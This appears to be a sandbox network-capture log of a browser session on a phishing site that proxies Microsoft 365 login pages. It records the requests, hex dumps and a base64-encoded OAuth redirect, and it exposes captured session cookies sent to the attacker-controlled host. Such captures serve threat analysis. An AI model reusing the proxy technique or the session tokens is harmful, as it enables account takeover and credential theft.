2024-05-07 18:31:47 UTC	16384	IN	Data Raw: 3d 20 70 2e 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3f 22 20 2b 20 67 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 77 63 74 78 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 25 33 44 33 25 32 36 22 20 2b 20 70 2e 65 78 74 72 61 63 74 28 22 77 63 74 78 22 2c 20 22 3f 22 20 2b 20 67 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 74 20 3d 20 74 2e 73 75 62 73 74 72 28 31 29 29 2c 20 28 65 20 3d 20 70 2e 61 70 70 65 6e 64 28 65 2c 20 74 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = p.appendOrReplace( "?" + ge, "wctx", "LoginOptions%3D3%26" + p.extract("wctx", "?" + ge) ); (t = t.substr(1)), (e = p.append(e, t));
2024-05-07 18:31:47 UTC	16384	IN	Data Raw: 20 20 28 65 2e 65 78 70 6f 72 74 73 20 3d 20 70 29 3b 0a 20 20 7d 2c 0a 20 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 6e 2c 20 74 29 20 7b 0a 20 20 20 20 76 61 72 20 69 20 3d 20 74 28 32 29 2c 0a 20 20 20 20 20 20 61 20 3d 20 74 28 31 29 2c 0a 20 20 20 20 20 20 6f 20 3d 20 74 28 34 29 2c 0a 20 20 20 20 20 20 72 20 3d 20 74 28 30 29 2c 0a 20 20 20 20 20 20 73 20 3d 20 77 69 6e 64 6f 77 2c 0a 20 20 20 20 20 20 63 20 3d 20 72 2e 44 69 61 6c 6f 67 49 64 3b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6e 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 74 20 3d 20 65 2e 69 73 50 6c 61 74 66 6f 72 6d 41 75 74 68 65 6e 74 69 63 61 74 6f 72 41 76 61 69 6c 61 62 6c 65 3b 0a 20 20 20 20 20 20 28 6e 2e 6f 6e 52 65 67 Data Ascii: (e.exports = p); }, function (e, n, t) { var i = t(2), a = t(1), o = t(4), r = t(0), s = window, c = r.DialogId; function d(e) { var n = this, t = e.isPlatformAuthenticatorAvailable; (n.onReg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49800	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:45 UTC	2749	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_0lriinjhzchre9aqecvmpg2.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:46 UTC	1390	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:46 GMT Content-Type: application/x-javascript content-length: 55037 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 02 Apr 2024 21:29:16 GMT ETag: 0x8DC535BF32A6F5D x-ms-request-id: f6696359-001e-001e-3961-9af7a1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183146Z-1675f555588h2fss8m7wetadz40000000210000000002ga6 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:31:46 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2024-05-07 18:31:46 UTC	15766	IN	Data Raw: dd 7d 4d 73 23 47 b2 d8 dd bf 02 8b 75 68 86 4f 3d 10 3e f8 89 11 34 06 01 70 06 4f 24 00 01 e0 50 0a 49 46 34 81 22 d8 4b a0 1b af bb 31 1c 2e 35 8e bd f9 f0 0e be da 37 1f 7c f2 d1 17 df fd 53 36 e2 f9 77 38 3f aa aa ab ba 1b 00 39 d2 d3 ee b3 42 c1 41 77 55 65 65 65 65 65 65 66 65 65 ff e1 66 ed 4f 63 2f f0 5f 8a bd 47 f5 bb 10 bc f4 f7 1e bd 9b 97 de 8f fe cf 7b a1 88 d7 a1 5f c0 df 25 f1 71 15 84 71 f4 fa 83 1b 16 e2 06 be 6a 3c ca 77 f5 c7 4f 8e 37 ab fb ce 22 70 67 62 56 ff 43 e5 d3 6b d9 54 60 d3 a9 bb 58 bc 8c 15 04 27 76 92 df c1 1e 3c 70 b3 c6 1f ca 49 c1 27 ec c6 6b 3c 6a 40 41 69 d9 10 4e 50 9a 36 3c f8 bb 6a 14 8b 4e f0 b2 bc f7 e9 e5 8f c9 30 9c c0 f1 00 f9 97 d5 3d c2 d2 6f 78 2f 2b 00 1f fe 39 d8 73 42 f8 e7 70 cf 71 1b 61 69 14 87 9e 3f Data Ascii: }Ms#GuhO=>4pO$P IF4"K1.57\|S6w8?9BAwUeeeeeefeefOc/_G{_%qqj<wO7"pgbVCkT`X'v<pI'k<j@AiNP6<jN0=ox/+9sBpqai?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49803	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:51 UTC	2753	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:51 UTC	1412	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:51 GMT Content-Type: application/x-javascript content-length: 109863 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:54 GMT ETag: 0x8DAFF34DD9DC630 x-ms-request-id: 024f31d0-701e-0069-66ac-a0d4af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183151Z-17859dc676bdpvtnh0bzxu3wtn00000005hg00000001hqx0 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:31:51 UTC	14972	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6b 7b db c8 91 30 fa 7d 7f 05 c5 93 68 00 13 a4 48 ea 6a 92 10 d7 e3 f1 64 bd c7 63 fb b5 3d d9 37 af cc f8 81 c8 a6 84 31 04 30 b8 d8 56 44 ee 6f 3f 55 d5 77 a0 49 c9 1e 27 9b 73 4e 9e 8c 45 34 1a 7d a9 ae ae ae aa ae cb c1 a3 bd 7f 6b 3d 6a 75 1f fe bf d6 db 77 4f de bc 6b bd fa b9 f5 ee 3f 9e bf f9 a9 f5 1a 9e fe d2 7a f9 ea dd f3 a7 cf 1e de 0e 76 8a ff bd bb 8e 8b d6 32 4e 58 0b fe 5e 46 05 5b b4 b2 b4 95 e5 ad 38 9d 67 f9 2a cb a3 92 15 ad 1b f8 37 8f a3 a4 b5 cc b3 9b 56 79 cd 5a ab 3c fb 8d cd cb a2 95 c4 45 09 1f 5d b2 24 fb dc f2 a0 b9 7c d1 7a 1d e5 e5 6d eb f9 6b bf 07 ed 33 68 2d be 8a 53 f8 7a 9e ad 6e e1 f7 75 d9 4a b3 32 9e b3 56 94 2e a8 b5 04 1e d2 82 b5 aa 74 c1 f2 d6 e7 eb 78 7e dd fa 25 9e e7 59 91 Data Ascii: k{0}hHjdc=710VDo?UwI'sNE4}k=juwOk?zv2NX^F[8g*7VyZ<E ]$\|zmk3h-SznuJ2V.tx~%Y
2024-05-07 18:31:51 UTC	1412	IN	Data Raw: ff e4 10 1b a8 b5 c4 83 45 a5 d2 a7 c9 61 9f 24 3d 2b 31 6b 72 6b 95 a9 2b 79 ec f3 c8 d9 e7 d9 7a 78 d4 0f a8 77 d9 a9 7b 00 ca 16 4d 63 eb 5f 0c 4c cf 01 a3 b5 83 5d cd d6 d3 73 7a 32 c0 26 c8 e3 9b 29 ff e3 f9 e4 9e 2b 72 16 fc f5 7d d1 59 c3 7f 7f e0 69 0b 36 68 6a 2f 5f fe 44 99 1d ea 3e c1 22 b6 c1 58 6e 0e 32 31 06 09 af 13 b6 c3 b6 19 8a c7 74 f8 fb bb 3e 7d 8c 8b 6d 20 fc 48 83 3d 38 ff ce 43 1d e0 26 33 1c dc e9 ac 2c e9 84 24 af 02 6d 4b b1 f1 8d e4 b3 a9 07 6b ee 63 10 b7 c3 46 10 b7 b2 c7 13 2c fe 12 ad fe c4 83 02 66 3c ae fe 91 ef 78 13 18 d5 9f 66 69 81 a1 ab 29 9e da 99 df 7c a1 2a bf c4 ac a2 18 77 7b e0 1b 25 38 9e a3 2d a9 8c 71 00 c7 3c 68 db 71 5f 04 6d 3b 3e 39 f1 7b b4 ae 6f 59 09 84 06 bb 3d f5 7b d0 e1 0a 08 d8 8b b8 28 6b 61 bc Data Ascii: Ea$=+1krk+yzxw{Mc_L]sz2&)+r}Yi6hj/_D>"Xn21 t>}m H=8C&3,$mKkcF,f<xfi)\|*w{%8-q<hq_m;>9{oY ={ (ka
2024-05-07 18:31:51 UTC	9510	IN	Data Raw: 23 30 22 75 c1 a1 5b a0 67 5c a3 58 32 27 9a 62 c7 a1 cd 04 4a 6f 34 45 70 03 b3 9f b8 bb 44 67 b9 38 b0 3b 37 09 72 77 d0 9d 93 c7 5d ad 74 cb 27 62 b8 95 4f e1 cc ec 52 35 5a 41 ba 85 ae 58 30 9c 7a a4 44 c9 ad f6 53 1e c9 0b d9 b1 eb 4e c8 a4 8e e4 ba 86 5b 12 3a 6f 2d f6 c5 6d f2 c4 30 68 7d 23 11 e4 9e 9b 3f 92 16 d1 30 7e c9 4a 72 85 b5 29 df 30 5f 1a eb d9 6c 18 53 82 a5 60 c4 f4 88 e1 a4 79 f5 39 95 31 36 4c f7 9f da 08 80 a3 9a ba 59 be 74 46 4c b3 9b cc 37 3d 92 b8 1f ee 9d 10 a3 05 97 29 9e c4 3e 2e 6c de d3 d8 56 b4 50 23 73 d1 f4 3b b9 0b e5 c7 f5 6d ee f9 9b b1 01 46 c9 8c 23 77 85 a0 24 36 cb 28 53 7c 77 93 65 37 c5 fa c6 fb 2d 3c b6 f1 99 42 0b 5e d1 8d 33 ba 76 60 76 87 62 70 1d c2 5b b3 43 d5 28 26 75 c7 17 04 33 de 04 4e c5 54 84 4a a3 Data Ascii: #0"u[g\X2'bJo4EpDg8;7 rw]t'bOR5ZAX0zDSN[:o-m0h}#?0~Jr)0_lS`y916LYtFL7=)>.lVP#s;mF#w$6(S\|we7-<B^3v`vbp[C(&u3NTJ
2024-05-07 18:31:51 UTC	6289	IN	Data Raw: cd 3d fb 73 db 36 d2 bf 7f 7f 85 cd 7a 1c 22 82 9f 79 34 21 c3 ea 1c 57 ed b4 13 c7 19 ab b9 cc 8d ac 78 68 99 b2 d9 c8 62 4a 52 76 12 4b f7 b7 df 3e 00 10 20 29 c5 c9 f5 66 be 1f 6c 52 20 9e 8b c5 02 fb c0 2e 05 2d d7 3f 0a ce 04 a9 97 98 f7 e2 02 bd 76 20 51 a7 df 80 eb 09 bf 8c c7 f4 64 d7 ed 4e 1e 4e 3a 98 4c 74 6a 41 c9 c9 75 5a d2 8b 62 c3 9c 32 2a ed 18 aa 77 d2 27 a6 8a a6 1a 75 30 c4 8e aa d8 64 91 cb 00 d7 48 ac 0a 8a a2 33 6b 9d a4 b9 b1 4f 56 31 db a3 db 8b a6 08 cb 43 4f cb f0 ed ea 22 cd ef d7 08 65 5d d2 c4 ec 3a 2e 3e b4 c8 c9 76 49 58 f9 55 a7 91 2b 02 7d d4 d7 fb 20 19 aa f5 1a e2 3b e6 6f f3 9f 87 2a a6 6c 02 67 2d f5 02 db 6e 3e 75 7f 99 e8 27 39 ee 85 4b e3 9d 3c 7f fc 37 45 45 82 dd 97 82 df 3c 7d fe e4 6b e1 3c ed 9d b9 4d 0b de a6 Data Ascii: =s6z"y4!WxhbJRvK> )flR .-? v Q dNN:LtjAuZb2w'u0dH 3kOV1CO"e]:.>vIXU+} ;olg-n>u'9K<7EE<}k<M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49804	52.96.62.226	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:51 UTC	711	OUT	GET /owa/prefetch.aspx HTTP/1.1 Host: outlook.office365.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ihvnbhbvhbasdjbhjvbfh.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:51 UTC	1905	IN	HTTP/1.1 200 OK Cache-Control: private, no-store Content-Length: 2745 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 request-id: 6d07ad56-6cc0-2aa4-bd96-a16c3a0d7fd2 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedFETarget: SA0PR12CU001.internal.outlook.com X-BackEndHttpStatus: 200 Set-Cookie: ClientId=F1F69CEA4BEC449CAC19565882C86096; expires=Wed, 07-May-2025 18:31:51 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=F1F69CEA4BEC449CAC19565882C86096; expires=Wed, 07-May-2025 18:31:51 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Thu, 07-Nov-2024 18:31:51 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OWAPF=v:15.20.7544.41&l:mouse; path=/; secure; HttpOnly X-CalculatedBETarget: SA1PR07MB10049.namprd07.PROD.OUTLOOK.COM X-BackEndHttpStatus: 200 X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Content-Type-Options: nosniff X-BeSku: WCS7 X-OWA-Version: 15.20.7544.41 X-OWA-DiagnosticsInfo: 2;0;0 X-IIDs: 0 X-BackEnd-Begin: 2024-05-07T18:31:51.272 X-BackEnd-End: 2024-05-07T18:31:51.272 X-DiagInfo: SA1PR07MB10049 X-BEServer: SA1PR07MB10049 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 200 X-FEProxyInfo: MN2PR07CA0019.NAMPRD07.PROD.OUTLOOK.COM X-FEEFZInfo: MNZ X-FEServer: SA0PR12CA0015 Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=MNZ&RemoteIP=156.146.37.0"}],"include_subdomains":true} NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-FirstHopCafeEFZ: MNZ X-FEServer: MN2PR07CA0019 Date: Tue, 07 May 2024 18:31:50 GMT Connection: close
2024-05-07 18:31:51 UTC	2745	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 72 65 66 65 74 63 68 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 6f 66 66 69 63 65 33 36 35 69 63 6f 6e 73 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 3a 20 75 72 6c 28 27 68 74 74 70 73 3a 2f Data Ascii: <!DOCTYPE html> <html> <head> <title>Prefetch</title> <meta http-equiv="x-ua-compatible" content="IE=Edge"> <style> @font-face { font-family: 'office365icons'; src: url('https:/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49806	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:52 UTC	2793	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; 